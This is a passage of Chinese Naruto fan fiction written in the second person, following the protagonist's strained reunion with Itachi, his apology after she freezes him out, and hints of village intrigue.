假期总是短暂的,而忍者的工作时间又堪比被压榨到极致的社畜,所以你也有一阵子没见到他的乌鸦了,现在难得看到对方,你略带惊喜地打开窗户,让这只聪明的乌鸦飞进来。 乌鸦和猫头鹰对上以后那叫一个狭路相逢,它们互相看对方不顺眼,猫头鹰说:“我可不想在这里和你打架,我只是来送信的,除此之外没有别的原因。” 如果可以的话估计这只猫头鹰会像他的主人那样摊手,一副无奈的样子,和鹿丸有八九分的相似。 你伸手摸了摸乌鸦的脑袋,说:“不要打架,止水寄了什么信过来?” 乌鸦歪了歪脑袋,扑棱翅膀飞到你的掌心,它的腿上绑着一封信件,你取下以后那只乌鸦就守在你的手边,安静地看着你,那神态也和他的主人止水有几分像。 因为时不时就有鸟类来给你送信,所以你的抽屉里时常备着一些谷物,你刚才给猫头鹰抓了一把,不能厚此薄彼,所以你又拉开抽屉给这只乌鸦也抓了一把。 乌鸦啄食谷物的动作慢条斯理,啄两口就抬头看看你,止水写的信说的是他现在已经回到木叶了,下次还会再调休来看你的。 看到他说自己调休来看你这句话的时候莫名觉得有点可怜,要不然他跟着你单干算了,给木叶做事真是一点的发展前途都没有,而且还时不时就要被长老团那一群老登给恶心一下,换做你早就跑路了,也就只有宇智波 这种一根筋的人才能对所谓的火之意志深信不疑。 在上辈子听惯了企业文化的你早就不吃这一套了,说到底都是一样的套路,但很可惜这个世界的人还没反应过来了。 猫头鹰说:“那个宇智波怎么老是来找你?你们是很特别的关系吗?” 特别的关系吗……?嗯,那确实是有点特别,你说:“大概是给我打白工的关系吧。” 把话说得明明白白的,猫头鹰都被哽了一下,它稍微有点同情那个宇智波了。 等你把信写完然后分别由猫头鹰和乌鸦寄出去,你站起身活动一下筋骨,唉,今天又工作了好久啊…… 当乌鸦带着你的信回到木叶的时候止水恰好在和鼬分析这段时间木叶高层的举动,那只乌鸦没有马上飞进来,而是停留在露天阳台上,还是鼬察觉到了什么,对止水说:“你的乌鸦好像带着什么东西回来了。” 止水说:“大概是收集到的情报吧。”他说得那么轻描淡写,好像真的只是一些简单的情报而已,但鼬还是忍不住多看了一眼。 直觉告诉他没有那么简单,他说:“是么,要不然还是看一眼吧,万一是什么很重要的消息呢?” 再这样拒绝的话估计会让鼬产生疑心,于是止水站起身走到阳台,对着那只乌鸦招招手,后者听话地飞了过来停在他的小臂上,站在止水身后的鼬安静地注视着止水摘下绑在乌鸦腿上的信件,然后展开看了一眼。 只是一眼,鼬就能确定那是你写的信。 难怪刚才会再三推脱,原来是因为这个啊…… 发现止水和你还有联系的第一感受倒是没有那么生气,毕竟在此之前他已经捕捉到了什么迹象,或许是有些捕风捉影,但是,事实证明那并非毫无缘由的臆想,这些都是真的。 鼬说:“是从什么时候开始的?”他问的是止水和你恢复联系是从什么时候开始的,止水没回头,语气不咸不淡,说:“有一段时间了,至于为什么不告诉你,原因也很简单,就是明希不希望我对你说这些,而且,你要是知道的话估计心里也会难受的吧?曾经喜欢的人实际上没有那么喜欢自己,甚至还在有意回避着自己,无论是再怎么坚强的人都会感到痛苦的。” 止水这话说得就像是在体谅自己的朋友,不忍心看朋友难过似的,至于真实目的是什么,不言而喻,鼬也不是那么容易被应付打发的人,他说:“那我应该感谢你的贴心吗?” 无疑是在冷嘲热讽,止水说:“嗯……感谢就不用了,这是身为朋友应该做的。” 鼬的表情一点点地冷下来,他说:“我想你或许不明白我的意思。”又或者是很明白,只是揣着明白装糊涂而已。 止水说:“明希不想见到你,这是她亲口和我说过的,因为你之前给她添了太多麻烦,而且你们之间的关系早就已经结束了,你还一直以未婚夫的身份自居,恕我直言,这不就是在死缠烂打吗?” 说话相当直接,确实是直言不讳,鼬的表情沉静如水,他说:“任何消息在经过转手以后可信度都会下降。” 言下之意就是他一点也不相信止水说的话,甚至还在提醒他说话前应该斟酌一番才对。 “啊……我知道自己很难阻止你,所以就等你下次见到明希的时候你再问她吧,她会亲口告诉你的,她不喜欢你。” 鼬在想你难道对他真的一点喜欢都没有吗?他和你生活了十多年,他是那么了解你,知道你的各种喜好,更能读懂你的各种小动作蕴藏的含义,说你们是天作之合都不为过,难道之前的一切都只是他的错觉吗? 你对他没有一丝一毫的喜欢? 鼬不由地陷入沉思,止水安慰道:“明希只是不喜欢你而已,她又不是讨厌你。” 这样的安慰作用微乎其微,而且更像是在耀武扬威,绝对是在炫耀的吧? “可你又怎么确定明希是喜欢你的呢?”他的朋友又有什么特别之处呢?是长相还是性格?论起长相,虽然鼬对自己的外表不怎么关注,但是,他也知道自己的外表是符合很多人的审美的,甚至就连你也夸奖过他好几次,说他长相漂亮昳丽,这足以说明你对他的长相很满意。 而止水呢?你对止水也很满意吗? 止水摊手:“我又没说过她喜欢我,在这一点上我可是很谨慎的呀。”有他这个朋友作为前车之鉴,他在和你相处的过程中都会特意避开那些可能会惹得你不高兴的话题,所以他还得要感谢有鼬这样一位朋友呢。 他不光是在心里这么想的,甚至于还主动说了出来,他说:“我其实也很感谢你哦,毕竟如果不是你的话,我可能也会犯错的吧。” 朋友的感谢更像是助燃剂,点燃鼬内心的怒火,是么……他又在感谢他了啊,鼬垂下眼帘,就在止水以为他会恼羞成怒的时候,他只是笑了一下,“看来你也不过是自以为自己和明希的关系很好啊……” 能够成为忍者,而且还是优秀的忍者往往有着一颗强大的心脏,足以抵挡外界的恶意,宇智波鼬的内心就是那么强大,哪怕自己的朋友已经直截了当地说明他和你的关系,他还是能坚持自己先前的看法,并且坚信不疑。 “那么,我就不打扰了。”鼬很有礼貌地那么说,然后自顾自地走到门口就要离开,止水也走到门口,看着他的背影消失在走廊尽头。 果然还是生气了的吧。 此时此刻远在绳之国的你突然打了个喷嚏,你揉了揉自己的脸颊,听到你打喷嚏动静的白走了过来,担心你这是感冒的前兆,于是握住你的手利用查克拉探查你的身体状况,这简直比拍CT还要方便。 目前看来应该是没什么问题的,白紧皱的眉头舒展了一点,但也不能掉以轻心,他说:“今天明希你不能熬夜了。” 啊?你最近都算是在熬夜吗?你略带惊讶地说:“我最近好像也没有熬夜吧?” 白表示那些工作交给他就行,你好好休息才是最重要的,但依照这个世界的混乱程度,你在睡觉前收到消息,是迪达拉传来的消息,说是他们已经顺利捕获一个人柱力了。 看到这个消息的你内心平静,也没有出现烦躁或者是愤怒亦或是恐惧的情绪,你只是安静地看着这条消息,然后揉了揉自己的太阳穴,白看你这个时间点还没有睡,就在你的床沿坐下,说:“怎么了?” “嗯……是迪达拉传来的消息,说是晓组织已经成功捕获一个人柱力了。” “是么,那他们的动作还挺快的。”白说,其实他对这些都不怎么在乎,唯一在乎的是你现在的心情,你在感到迷茫吗?他伸出双手托住你的脸颊,问道:“明希,你在难过吗?” “那倒没有,只是觉得有点麻烦而已,还得要转移我的资产。”你将自己的脑袋靠在白的肩头,他伸出手有一下没一下地拍着你的后背,你逐渐放松下来,他说:“资产转移只是稍微有点麻烦而已,我可以替你完成。” 很多事情他都能替你完成,他只希望你能一直开心下去。 你缓缓睁开眼睛,迪达拉的情报只是一个讯号,意味着战火又要在这个世界里蔓延了。 算了,反正说不定世界毁灭了你也能清净一会呢。 你态度敷衍地给其他村子写信让他们留意自己的村子的人柱力,至于他们听不听得进去那就是另外一回事了,反正你已经做了自己能做的,剩下的就看那些村子的反应了。 说到底你也只是因为绑定了这个资本家系统才和世界产生联系的,要是你没有这个系统估计哪天想不开就直接重开了呢。 所以所谓的世界和平对你来说意义也不大,你只是把这一人生当成游戏来体验,是那种不存档死了就换游戏的那种玩法。 你在绳之国停留了有一段时间,得益于赤砂之蝎的改进建议,这个季度钢铁的产量直接翻了倍,果然术业有专攻啊,他真是一个很好用的工具人。 这是近期最让你高兴的事情了,你一高兴就给工厂的员工发奖金,毕竟在上辈子当了多年社畜的你知道那些口头表扬和夸奖都是虚的,只有拿在手里的奖金才是真实的,收到钱的员工干劲十足,又一头扎进工作中,由此形成了良性循环。 你对此很满意。 不过人生就是这样起起伏伏的,之前还觉得一切顺利,没过多久就又会冒出什么幺蛾子,就比如说你在某个雨夜遇见从木叶而来的宇智波,不是宇智波止水 也不是宇智波佐助,而是宇智波鼬。 你站在门口,看向门外,那道身影安静地矗立在雨幕中,你该庆幸他还记得撑伞吗?至少这样不会弄得你的地板上都是雨水,你没说话,只是觉得这幅画面实在是很像雨夜杀人魔这种俗套的恐怖片情节。 安静地凝视了一会,他的身影总算是动了一下,他朝着你走来,你们之间的距离在不断缩小,最后只剩下几步之遥,他将手中的雨伞抬高几分,露出完整的脸,那头长发比你离开他时又长长了几分,已经到了及腰的长度,伴随着他微微仰起头的动作,垂在两侧的碎发也向后垂落,露出那张熟悉而美丽的脸庞。 他叫了一声你的名字,“明希。”声音有些沙哑,听上去有些可怜兮兮的,但你总觉得他这都是装出来的,宇智波鼬是个很擅长伪装的人,平日里他就在隐藏自己的傲慢,藏得很好,大部分认识他的人都不会看清他的本质,足以证明他的演技炉火纯青。 但是你不吃这一套,你早就已经了解到他的本质了,可不会那么轻易就被他蒙骗,你说:“你是怎么找过来的?” “想要找到明希你并不难。”他好像在因为你冷淡疏离的态度而感到难过,原来你真的这么讨厌他么?难道这一切就和止水说的一样吗? 你站在门口的台阶上,垂下眼帘,凝望着鼬的脸,因为将雨伞抬高了几分,所以细密的雨珠也落在他的侧脸,打湿他乌黑的头发,碎发贴着白皙的皮肤,显得愈发妖冶动人,他接着又说:“还是说明希并不想见到我呢?” 他和你为什么会走到这一步呢? 你说:“是啊,确实不想见你,我已经明明白白地和你说过了,我们之间的关系到此为止,你现在找过来只会显得你很死缠烂打啊……” 鼬问道:“那我们之间究竟是什么关系?”他好像一定要从你这里问出一个答案来,你停顿几秒,在认真思考,然后说:“如果真的要给个定义的话,那就是纯粹的权色交易关系吧,毕竟你出卖自己,然后获得我的帮助,让宇智波一族免于被灭门的结局。” “所以……哪怕是一丁点的喜欢都没有吗?我听说止水来找过你,为什么连止水也……”鼬说着说着就开始自言自语,“果然是万花筒写轮眼的作用吗?”他已经把原因归咎于止水对你使用了万花筒写轮眼,压根就没想过如果他对你使用写轮眼的瞳术的话你的身体肯定会受到影响的。 他只是迫切地需要寻找理由,寻找一个合适的理由,让止水和你的关系合理化的理由,万花筒写轮眼是最好的解释,也是最能够让他接受的。 “既然你也拥有万花筒写轮眼,那就应该知道那是不可能的事情,你看一眼就能确认我到底有没有被下瞳术。”你摊手,“你现在仔细看看,我到底有没有被下瞳术?” 鼬沉默不语,他还是不想承认,你和止水的关系好像比他还要好。 究竟是哪里出现了错误呢?他百思不得其解,只能祈求你给他一个答案。 他说:“我们为什么会走到这一步呢?”他想说你们之前明明是那么的相爱。 一直站在门外也不是个事,而且雨势越来越大,雨水被风一吹就往你身上飘,你叹一口气,说:“我要进去了,你是要继续在外面待着吗?” 鼬总算是安静了一会,他跟随着你的脚步来到屋内,那把雨伞被他放在门口,雨水顺着收拢的伞面滑落,他走路几乎没有声音,跟在你身后也没有发出一丁点的动静,下楼的白看见跟在你身后的人,大为惊讶,他说:“明希——他?” 你安抚道:“不用担心,就是来串门的而已。” 专门找过来要个说法的宇智波鼬在你的形容中就变成了来串门的客人,他的目的一下子就变了,但白还是用审视的目光打量着宇智波鼬,一旦对方对你做出什么不利的举动,他就会马上出手的。 然而白担心的事情并没有发生,因为宇智波鼬全程都表现得格外温驯乖巧,你带着他走到客厅说坐下就坐下,入冬以后的夜晚都格外寒冷,还好这栋别墅安装了地暖系统,整个客厅都是暖融融的,你对他说:“如果你只是来叙旧的那我倒是不排斥,但你要是来提起那个根本不成立的婚约的,那我的意思就是你现在就可以走人了,哟啊不然就是我用其他手段让你走人,所以你选一个吧,到底是被我赶走还是留在这里当客人?” 无论是谁都知道这个选择题该怎么选的吧?宇智波鼬是个聪明人,你知道他会选择正确答案的,你听见他说:“我为之前的事情道歉。” 他的道歉是真心实意的吗?你狐疑地看他,注视着他的侧影,试图通过他的表情分析他说的话到底有几成真几成是假的。 “是吗?但我怎么好像没听出你的诚意来啊。” “我以为我们是心意相通的,但现在看来这只是我的一厢情愿而已,为了弥补我之前犯的错,现在明希无论想让我做些什么都可以。” 啊,你想过很多种可能,比如说他始终认为自己和你有婚约,又或者要强行把你带回木叶,但是你没想到他居然会那么坦诚地承认自己的错误,事出反常必有妖。《 》 50-55 第51章 你若有所思地看了他一眼,因为他一直在盯着你看,所以你们也不可避免地四目相对。 那么傲慢,那么不可一世的宇智波鼬真的会认识到自己的错误吗?你觉得这可能性很低,微乎其微,更有可能是暂时表现出自己认错的态度实则是为了借此机会达成别的目的,你更倾向于后者,但是,他也算得上是个好用的工具人。 至少在床铺上的时候很听话,你想。 这一点是宇智波带土没法比的,只能说是天赋上的差距吧。 你单手托腮,安静地凝望着鼬,那打量的视线是不加掩饰的,对于旁人来说有些冒犯,可鼬还是任由你这么看着自己,他不觉得冒犯,甚至于内心还会泛出隐秘的欣喜,毕竟……你现在在注视着他啊,只看着他,眼里没有其他人。 光是这一点就足以让他感到心满意足,在你离开以后一直空缺的情感黑洞终于一点点地被填补上了,仿佛灵魂都在战栗着,他维持着表面上的云淡风轻,说:“真没想到止水和佐助都来找过你了。” 哈,你就知道他要开始提及别的宇智波了,止水和佐助,一个是他的朋友,还有一个是他亲爱的弟弟,都是对他来说很重要的人,他们主动找到你,又对他有所隐瞒,这无异于欺骗,甚至严重点都能算是背叛了,所以他说这些就是为了和你翻旧账吗? 你的上半身微微向后倒去,整个人都窝进柔软的沙发里,因为地暖开得很足,所以你在屋内只穿着一套薄款的长袖长裤睡衣,宽松而舒适,伴随着你的动作,散发出些许懒洋洋的感觉,你说:“是啊,看来他们都不约而同地没有和你说这件事啊。” 略带嘲弄的话语从你的嘴里吐出,言语可以化作锋利的刀剑,宇智波鼬也不是无坚不摧的人,他也会感到痛苦,也会被尖锐的话语刺痛。 但是,他是说但是—— 如果这份疼痛是你给予的话,他会悉数收下。 所以宇智波鼬平淡地说:“嗯,因为他们都很听明希你的话,而且也都很贴心。” 屋外雷电交加,几道雷电从浓重的乌云里刺出,几乎将整片夜空点亮,那电光也自然而然地点亮了客厅,宇智波鼬那纤长浓密的眼睫轻轻颤抖着,他的长相毫无疑问是美丽的,要不然你当初也不会让他自己作为报酬了。 好看是真的好看,但性格也是真的难缠又傲慢,偏偏他自己还不这么觉得。 “佐助……他来的时候都对你说了些什么呢?”他还是 那么关心自己的弟弟啊,不过说实话,他的弟弟可比他通情达理多了,很多事情你和佐助说一遍他就完全能够理解你了,可不会像宇智波鼬那样无限地发散思维,你说一句,他甚至能够联想到天际。 真是逆天的阅读理解能力,你说:“没什么,他那个时候中了毒,我和他没说什么话。” “真的吗?就算明希你告诉我真相我也不会生气的。” 你叹息一口气,懒得搭理他,你对着白招招手,说:“你把他安排好,我要去休息了。” 现在这个时间点可是你睡觉的时间段啊,你才不想把自己宝贵的睡眠时间浪费在这家伙身上呢,说完这话你就起身离开,只留给宇智波鼬一个离去的背影,你沿着楼梯走上楼,此时屋外的雨势越来越大,到最后甚至演变为瓢泼大雨,雨水打在窗户上面,模糊了窗外的景色。 还好你房间的窗户隔音效果很好,把窗户一关,什么雷声雨声全都被隔绝在外,你就安心睡大觉吧。 至于其他的事情,比如说该怎么应付宇智波鼬,这种问题那就放到明天再解决吧,反正任何棘手的麻烦总归会有解决方法的,你可不会让这种事情影响你的睡眠质量,在你回到卧室即将入睡的时候,白按照你的吩咐将宇智波鼬安排到另外一层的另外一个偏僻角落里的房间。 他不否认,这就是在有意刁难他,是的没错,毕竟本来你应该会更早一些去睡觉的,都是因为他的不请自来直接影响你的睡眠时间推后,白有多关心你的身体健康就有多讨厌这个不速之客,能够心平气和地与他说话已经是他最大的容忍限度了。 白说:“这就是你的房间了,现在明希已经在休息了,我希望你不要去打扰她。”最后半句话他说得一字一顿,像是提醒,又像是某种警告。 警告他不要得寸进尺。 宇智波鼬点了点头,还很有礼貌地对他说谢谢。 白可以看出宇智波鼬和止水之间的区别,前者更加不动声色,那些感情,那些情绪变化都被他藏在心里,藏得严严实实的。 所以他现在究竟在想什么呢?白不由地产生疑惑,是在想着怎么和你破镜重圆吗? 但是破镜重圆的前提是他和你曾经在一起过,可是事实明明白白地摆在那里,那就是你和宇智波鼬可没有在一起过。 睡在一起过那倒是有的。 但这两者也不能混为一谈啊,于是白说:“明希不会喜欢你的。” 宇智波鼬说:“那你见过她真正喜欢一个人的样子吗?如果没有见过,你又为什么能够那么笃定呢?” 白说:“但我见过她不喜欢一个人的样子,嗯,就是她刚才看待你的样子。” 宇智波鼬从始至终一直挂在脸上的礼貌性笑容消失了,取而代之的是面无表情的,甚至是有些阴郁的神色,白看到他这幅表情就知道他这话说对了。 宇智波鼬走到房间里,关上门,白迈着轻快的步伐朝着你的房间走去,他推开你的房门的动作轻巧,小心翼翼地,唯恐动静太大吵醒你,他捕捉到你那清浅的,又富有规律的呼吸声,这让白感到无比安心。 你睡着了。 白走到你的床边,安静地注视着你,最后替你掖了掖被角,而后轻手轻脚地离开你的房间。 * 隔天早上起来,一看窗外天空放晴,这真是个好兆头,睡到自然醒的你也没什么起床气,整个人的情绪都很稳定,走下床,然后来到浴室里洗漱。 伴随着你的意识逐渐回笼,你想起来了,昨天晚上的不速之客,宇智波鼬好像还被留在这栋别墅里。 啊……这就稍微让人有点烦躁了,但也只是一点点而已,你很快就调整好自己的心情,换了一身衣服走到楼下客厅,然后就看见了不知道什么时候起床的宇智波鼬,正坐在餐桌旁边,餐桌上还摆放着温热的早餐。 他就像是算准了你会在这个时间点下楼,所以早餐的温度都刚刚好,他也换了一身衣服,换成了浅色系的衣服,之前你有说过宇智波穿深色系的衣服更适合他们自身的气质,但是,实际上只要脸能打,无论穿什么款式的丑衣服也能算得上好看。 他的语调温和,说:“明希,你起床了啊。”那语气还是和以前一样,就好像你们之间没有发生那么多的事情,你没有一声不吭地离开木叶,更没有对他恶语相向。 不得不说,宇智波鼬的抗压能力确实很强,这好像也是宇智波一族的传统了,你还以为自己昨天说的话已经足够伤人的了呢,但凡有点自尊心的人都会知难而退的吧,但是宇智波鼬偏偏不是这样,他反其道而行之,甚至还表现得更加温柔了。 他难道就没有听说过热脸贴冷屁股这一说吗? 宇智波鼬那么聪明的人肯定是明白这个道理的,只是明白道理是一回事,具体怎么做就是另外一回事了,你说:“我以为我昨天已经把话说得足够清楚的了。” “确实说得很清楚,但请你不要误会我,我这次找过来不是来质问你什么的,我只是来看看你在外面过得怎么样,在这一点上,我和止水还有佐助没有任何区别。” 区别可大着呢,你在心里嘟哝一声,面上的表情不动声色,你拉开餐桌旁边的椅子,而后坐下,早餐是烤得金黄酥脆的吐司,再往上面涂一层果酱,他以前就经常做这一类型的早餐,仔细想想你好像确实已经很久没吃过这道早餐了。 说不上有多怀念,但食物是无辜的,你就算不喜欢宇智波鼬你也不会拿食物出气,所以你还是一口接着一口地吃着烤吐司,吃到一半再喝两口矿泉水润润嗓子,在此期间宇智波鼬一直在盯着你看,好像在观察你细微的表情变化。 你说:“一直这么盯着我做什么?你想要说什么就说吧,总是保持沉默我又没有读心术更猜不出你心里在想什么。” 你把话说得很直白,对于他们这些喜欢拐弯抹角的人来说,把话说得直接一些利大于弊,至少他们不会想东想西的,宇智波鼬说:“你好像瘦了一点。” 结果他看了你这么久就只是得出这一个结论吗? 你突然感觉到有些无奈,你说:“就只是这样吗?我还以为你会得出更加高深莫测的结论呢。” 宇智波鼬笑了起来,他的笑容总是掺杂着其他东西的,就像是你最不喜欢的天气,那就是稍微有点太阳,但是一抬头看向天空就看见头顶还飘着一两朵淡淡的,浅薄的云朵,不是洁白的云朵,而是浅灰色,尚未凝聚成乌云的云朵。 你最讨厌的就是这种天气了,这隐晦的雨水要下不下的,真是考验人的心态,现在也是一样,你又喝了一口水。 宇智波鼬说:“你在外面过得不好吗?”要不然为什么会瘦了呢? “你判断过得好不好的标准有必要那么单一吗?”而且朴实得就像是你过年会遇到的亲戚,一个人过得好不好又不是通过胖瘦就能够判断的啊。 宇智波鼬听出你好像在半开玩笑,他原本有些紧绷的神态也跟着稍微放松了一些,他说:“除此之外你和以前比起来也没什么变化。” 如果宇智波鼬不说些让人觉得云里雾里的话语,你倒是不至于那么讨厌他,只不过当初他没有经过你的同意就发订婚请柬确实让你颇为反感,所以你说:“现在我能坐下来和你聊天不代表我就已经原谅了你,当初你做的事情确实惹人厌。” “我知道了,那么明希想要怎么惩罚我呢?” 他的话语里怎么好像掺杂着几分期待?你算是摸清楚了,这个世界的忍者多半是有隐藏属性的,所以他嘴上说着惩罚,实则是奖励,你早就已经看穿了这一点,于是你说:“不,你只需要向其他人澄清我们之间一点关系都没有就行了,至于惩罚,我是个心地善良的人,而且更重要的一点是我不想在你身上浪费时间。” 对待这种人最好的应付方法就是置之不理,没错,冷处理才是最好的方法。 冷暴力才是最有效的暴力。 反正在那之后你就没再和宇智波鼬说过话,甚至于他向你投来的目光你都会下意识地忽略,真正做到了完全的无视。 事实证明这样的方法很有效,你这几天下来耳根清净,工作效率直线上升,完成工作以后的空闲时间更是直接和白一块去绳之国的瀑布旁边看风景,你完全忘了别墅里还有另外一道身影。 宇智波鼬的抗压能力确实很强,但是,就算是内心再强大的人对于心爱之人的刻意无视都会感受到痛苦,而宇智波鼬现在正处于这个情况中。 想要和你说话, 哪怕你开口对他说的只是冷嘲热讽的尖锐话语,这样也好过你不发一语。 忍耐的心情达到极点,最后变得不受控,他向你忏悔,自己先前所做的事情的确是错了。 等到这个时候你才觉得他的忏悔是带着真心实意的。 他是在临近傍晚的时候来到你的书房,那么安静,如同一道幻影,悄无声息地来到你身边,对你说:“我要向你忏悔。” 你奇怪地看了他一眼,心说你这里是书房可不是教堂的忏悔室。 但反正你今天的工作都已经处理得差不多了,你就耐着性子听他接下来会说些什么,你问道:“那你想要对我忏悔什么呢?” 宇智波鼬缓慢地跪下,身体伏在你的双膝上,昳丽的侧脸贴着你的膝盖,柔顺的,富有光泽的长发搭在腿上。 他说:“我不该那么傲慢的,认为自己能够掌控你的人生,认为我们两情相悦,这些都是我自以为是的想法,我很抱歉。” 从你的视角看去只能看见他高挺的鼻梁,还有如同白玉般白皙的额头。 不得不说听宇智波鼬这么对你忏悔,承认自己的过错,你确实很满意,你先前说过的,他只有在脆弱的时候才是最讨喜的,而此刻的他无疑是脆弱的。 你就说冷暴力很有用吧,你说:“是么,我很高兴看到你承认自己的错误。” 想让一个傲慢的人意识到自己有多骄傲是一件难如登天的事情,而你好像做到了,宇智波鼬抬起头,看向你,他说:“我并不奢求明希你能够原谅我,讨厌我也好,厌恶我也罢,只是,我恳请你不要无视我。” 这是他最后的请求了。 他额前的碎发因为刚才的动作显得有些凌乱,在你的印象里宇智波鼬总是将一切都整理得恰到好处,平日里穿的制服都是一丝不苟,没有一点点的褶皱,就连使用的长刀也是,时常保养,刀锋会泛着冰冷的寒光,刀柄也会定期修复。 他能够将自己生活中的一切小细节都整理好,仿佛一切都在他的掌控中,越是这样的人越容易养成控制狂的性格,而你最喜欢看的莫过于这一类人失去控制的样子,你伸出手,手指勾着他的长发,稍微一用力,他整个人都顺着你的这一力道向你靠近,一看就是故意的。 你说:“可以啊,你现在让我很满意,所以我可以答应你的请求,但如果你之后再做出什么让人讨厌的事情,那么我就不会再给你第二次机会了。” 你把话说得很清楚,看宇智波鼬的样子应该是听进去了的,于是你才松开手,用掌心轻轻地拍了拍他的脸颊。 宇智波鼬是个处理文书工作的好帮手,他在木叶的时候就因为身居木叶警卫队副队长的位置经常处理很多文件。 众所周知,所有的职位都是副职比较辛劳,这一点在木叶警卫队上面也通用,不过宇智波鼬的辛劳是有回报的,毕竟那队长是他父亲,到时候他父亲一退休这个位置不还是让给他了。 所以说这个世界也是充满人情世故的啊,宇智波鼬也算上的是官二代。 话题好像扯远了,你想说的是,要是不谈感情的话,宇智波鼬可以发挥更多的作用,而且他还很自觉地告诉你木叶的内部消息,有些消息你都觉得不适合告诉你这个外人,你说:“这些消息告诉我真的好吗?虽说你的父亲是族长还有队长,但你要是犯了事也一样要接受惩罚的啊。” 而且很可能还会连累他的父亲和弟弟,说起来木叶会实行连坐制度吗?啊……这种制度还真是落后啊。 面对你的疑惑,宇智波鼬说得很轻描淡写,他说:“如果是明希的话,那就没关系。” 搞得好像你对他来说很特殊似的。 或许在宇智波鼬看来确实是这样的,毕竟宇智波一族确实都很重情重义,这个形容词无论是正面理解还是反面理解都可以,毕竟感情就是宇智波的双刃剑,他们因为感情而获得强大的力量,同时也因为感情而不受控。 老实说,如果你是高层,你面对这样一群人也会觉得很棘手头疼的,难怪宇智波和木叶的关系很一般呢,要不是有你在其中帮忙斡旋,估计他们这一族早就死于政治迫害了。 不过呢,既然宇智波鼬是主动向你透露的那么多情报,那你也只能勉为其难地笑纳了,到时候东窗事发算起来也是宇智波鼬的过错,和你可没半点关系,尽管现在还什么事情都没有发生但你已经开始思考日后爆雷如何将自己摘得一干二净。 这就叫做未雨绸缪。 宇智波鼬很珍惜和你说话的机会,主要还是因为你前几天都不怎么搭理他,他现在只想多听你说几句话,仅此而已。 宇智波鼬在写下那些重要信息的时候还会时不时抬头看你。 他一直这么看你又是几个意思呢?你说:“你还有什么想要对我说的吗?” “佐助来找你的时候,他见到你肯定很高兴吧?” 他们俩可真是兄弟连心啊,你在赌场意外救下佐助的时候他也会有意无意地和你说起自己的哥哥,大部分时候都是无意的,你也表示理解,毕竟他从小就把自己的哥哥挂在嘴边的,三句话离不开自己的哥哥,现在就算长大了,也依旧没有太大的改变,仍旧是说到什么都会提一嘴自己的哥哥。 因此你说:“你和你的弟弟可真像啊,他醒来以后的第一件事情也是向我道歉。” “道歉?”宇智波鼬像是没听明白你的意思,你重复一遍,“是的,就是在对我道歉,认为是他当初太粗心大意了,而且只顾着自己的感受没有换位思考,不得不说,宇智波鼬,你的弟弟比你贴心多了。” 如果你用来比较的对象是止水的话他或许还有话要说,但你提到的是他的弟弟,或许在宇智波鼬的内心深处也是那么认为的,他觉得他的弟弟也很完美,所以都没有反驳你,甚至还点了点头,说:“是的,佐助是个心思细腻的孩子。” “直到现在你还是把他当成孩子吗?他已经是个成熟到足以独当一面的人了。”反正你觉得论起心理成熟程度,他可能还比他的哥哥宇智波鼬略胜一筹。 宇智波鼬说:“无论怎样,佐助在我这里都还只是个孩子。” “嗯,如果是孩子的话,就不会说‘我会做的比哥哥更好’这种话了吧?”你说。 第52章 你承认自己这么说就是想要看宇智波鼬生气的样子,让一贯波澜不惊的他产生情绪波动,这就是你 对于他的恶意,当初在木叶的时候你就在恶趣味的驱使下特意说过这样的话,但后者都克制着,收敛着自己的情绪。 那么此刻的他又会怎么说呢?又会作何反应呢? 他垂下眼帘,说:“原来佐助还说过这种话吗?我好像总是他追逐的目标,小时候是这样,现在似乎还是这样。” 等等,他这话就像是在往自己脸上贴金,你不免觉得有些好笑,你说:“原来你是这么认为的吗?” “可能是周围人让他觉得自己无论做什么事情都要向自己的哥哥看齐吧,如果能够成为他成长道路上的目标,哪怕最后被他忌恨也没关系。”宇智波鼬用轻飘飘的语气说着沉重的话语,就好像哪怕付出一切成为自己弟弟的垫脚石也无所谓。 不是吧,你的本意是让他生气的,他现在确实情绪产生了波动,但那是自我臆想中的为弟弟奉献带来的高尚感。 真不知道他在自我感动什么,和这样的哥哥生活在一块还能保持正常真是辛苦佐助他了。 你说:“我并不是这个意思,你这分明就是在模糊概念,我是说,他向我表白了,这和所谓的追逐你的脚步没有关系,如果你通过这个来解释佐助的一切行为,那么你这就是完全忽略了他自身的想法。” “啊……他向你表白了吗?”宇智波鼬捕捉到这一关键点,你看见他抿了抿嘴唇,旋即若有所思地说:“这样可就真的有点麻烦了呀……佐助的性格或许不能与明希你太过契合。” 就应该把这段对话给录下来的,后面让佐助好好听一听,让他看看他哥发病的时候是什么样子的。 “但我挺喜欢他的。” “喜欢……?”宇智波鼬缓缓地抬起头,神情里掺杂着几分错愕,那双漂亮的眼睛里倒映出你饶有兴致的笑容,你说:“是啊,喜欢。” 宇智波鼬握着笔的手收紧,过了一会才有些艰难地说:“这样啊,那这也是明希你自己的选择,佐助果然很讨人喜欢呀。” 勉强地说出这一番话,听得你只觉得好笑,你伸出手,手指触碰他脸颊旁边的碎发,就像是抚摸宠物脑袋,你说:“我没碰他。” 他呼出的气息掠过你的掌心,温热的,带着几分庆幸的,他在庆幸你没有那么做,又控制着表现得没那么明显,最后说:“这样啊……” “很高兴吗?你整个人都放松下来了啊。”你戳穿他的心情变化,宇智波鼬说:“稍微有点吧。” 说到这里,白敲了敲门,说可以吃晚餐了,他的目光落在你触碰宇智波鼬脸颊的手上,你收回手,说:“晚餐已经准备好了吗?嗯,正好我也有点饿了,那就去吃晚餐吧。” 结束一整天工作的你在晚餐期间彻底放松下来,你站在酒柜前思索着晚上喝什么酒比较好,你的手指摩挲下巴,发现左上角摆放着一瓶起泡酒,那好像还是你当初和再不斩喝过的一款,你取下那一瓶起泡酒,白看到你手中的起泡酒,跟你想到一块去了,他说:“这不是明希你当时和再不斩先生……” “是啊,说起来也有一阵子没见到他了呢。” 你一边说着一边往高脚杯里倒起泡酒,绵密的泡沫漂浮在上层,透过淡金色的酒液看到的世界都蒙上一层淡淡的金色,也此刻再不斩看到一切也是淡金色的,他拿着收集到的情报折返回到卡多身边,当然,这份报告是经过编辑造假的,里面的信息有真有假,只有这样真假参半的情报才是最容易误导人的。 再不斩站在卡多的卧室门外,凭借忍者过人的听力,他能将卧室里的动静听得一清二楚。 啧,他的脸上浮现出嫌恶的表情,果然他还是很厌恶那个与你作对的卡多,对方自诩是富甲一方的大商人,因此在自己的地盘上为所欲为,压榨底层人,搜刮民脂民膏都不算新鲜的了,但这些事情你从来都没有做过,你和卡多截然不同。 